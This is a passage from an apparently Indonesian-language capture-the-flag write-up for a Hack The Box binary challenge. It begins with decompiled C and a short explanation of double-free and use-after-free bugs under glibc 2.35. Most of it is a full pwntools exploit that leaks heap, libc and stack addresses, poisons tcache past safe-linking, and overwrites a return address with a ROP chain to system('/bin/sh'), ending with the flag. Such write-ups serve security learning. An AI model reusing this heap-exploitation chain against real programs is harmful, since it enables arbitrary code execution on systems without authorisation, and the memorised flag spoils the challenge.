        if ( *(_BYTE *)(Bounties[v2] + 25LL) )
          v0 = "Yes";
        else
          v0 = "No";
        printf(
          "\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n",
          *(_QWORD *)(Bounties[v2] + 8LL),
          v0,
          *(const char **)Bounties[v2]);
      }
    }
    else
    {
      error("Bounty ID does not exist");
    }
  }
  else
  {
    error("ID out of range");
  }
  return __readfsqword(0x28u) ^ v3;
}
```
Terdapat `Double-Free` dan `Use-After-Free` vulnerability di fungsi `delete`. GLIBC yang digunakan adalah versi 2.35, jadi terdapat `safe-linking` dan tidak ada `__free_hook` dan `__malloc_hook`. Max allocation size adalah `0x64` bytes. Namun, kita bisa mengcreate fake chunk untuk mentrigger `main_arena+96` di unsortedbins and then kita hitung libc base addressnya. Setelah mendapatkan libc base address, langsung saja overwrite return address dari fungsi `create` dengan `system('/bin/sh')` untuk mentrigger `arbitrary code execution`.
### POC
```python
#!/usr/bin/env python3

from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()


def start(argv=[], *a, **kw):
    if args.LOCAL:
        argv = argv if argv else [exe.path]
        if args.GDB:
            return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
        return process(argv, *a, **kw)
    return remote(args.HOST or host, args.PORT or port, *a, **kw)

gdbscript = """
c
"""
host, port = "nc 83.136.254.158 30659".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./dead_or_alive", False) 
libc = ELF("./glibc/libc.so.6", checksec = 0)
ld = ELF("./glibc/ld-2.35.so")

io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
    if name is None:
        frame = inspect.currentframe().f_back
        name = [k for k, v in frame.f_locals.items() if v is value][0]
    log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)

idx = 0

def register(sz, data, amount=50, status=b'y'):
    sla(b'==> ', b'1')
    sla(b': ', str(amount).encode())
    sla(b': ', status)
    sla(b': ', str(sz).encode())
    sa(b':\n', data)
    global idx
    idx += 1

def delete(idx):
    sla(b'==> ', b'2')
    sla(b': ', str(idx).encode())

def view(idx):
    sla(b'==> ', b'3')
    sla(b': ', str(idx).encode())

def demangle(p):
    mask = 0xfff << 52
    while mask:
        v = p & mask
        p ^= (v >> 12)
        mask >>= 12
    return p

def mangle(p, adr):
    return p^(adr>>12)

context.log_level = 'debug'
register(0x38, b'A')
register(0x38, b'B')
register(0x38, b'C')
delete(2)
delete(1)
delete(0)
register(0x28, b'D')
view(3)
rud(b'Description: ')
leaked_heap = demangle(u64(lj(io.recv(6), 8, b'\0')))
li(leaked_heap)
heap_base = (leaked_heap) & ~0xfff
li(heap_base)
assert heap_base & 0xfff == 0

# bikin fake chunk
register(0x38, b'E' * 8 + p64(0x421) + b'F') # fake chunk header
for i in range(0, 4, 1):
    register(0x60, chr(ord('G') + i).encode())
register(0x60, (0x60//8) * p64(0x21)) # fake chunk footer
register(0x18, p64(0xdead), 0x21) # bypass chunk consolidation

# trigger main_arena+96 muncul di unsorted_bin and then leak addressnya
delete(3)
fake_chunk_address = heap_base + 0x2e0
li(fake_chunk_address)
register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x38) + p64(0x101)) # di heap_base + 0x310 -> overwrite 0x100 jadi 0x101
delete(1)
delete(5)
register(0x28, p64(fake_chunk_address) + p64(0x10) + p64(0x40) + p64(0x101)) 
view(1)
rud(b'Description: ')
main_arena_96 = u64(lj(io.recv(6), 8, b'\0'))
li(main_arena_96)
libc.address = main_arena_96 - 0x219ce0
assert libc.address & 0xfff == 0
li(libc.address, "libc_base")

# leak stack address via environ
environ = libc.sym.environ
li(environ)
delete(6)
delete(7)
register(0x28, p64(environ) + p64(0x48) + p64(0x56) + p64(0x101))
view(6)
rud(b'Description: ')
stack = u64(lj(io.recv(6), 8, b'\0'))
li(stack)
ret = stack - 0x130
li(ret)

# finishing
register(0x58, (0x30//8) * p64(0x38) + p64(mangle(ret-0x8, heap_base))) 
register(0x38, b'#')
rop = ROP(libc)
rop.call(rop.ret.address)
rop.system(next(libc.search(b'bin/sh\0')))
rop.dump()
register(0x38, p64(0) + rop.chain())

com()
```
`HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_ff612481dfaba69b66814850dba4b3d5}`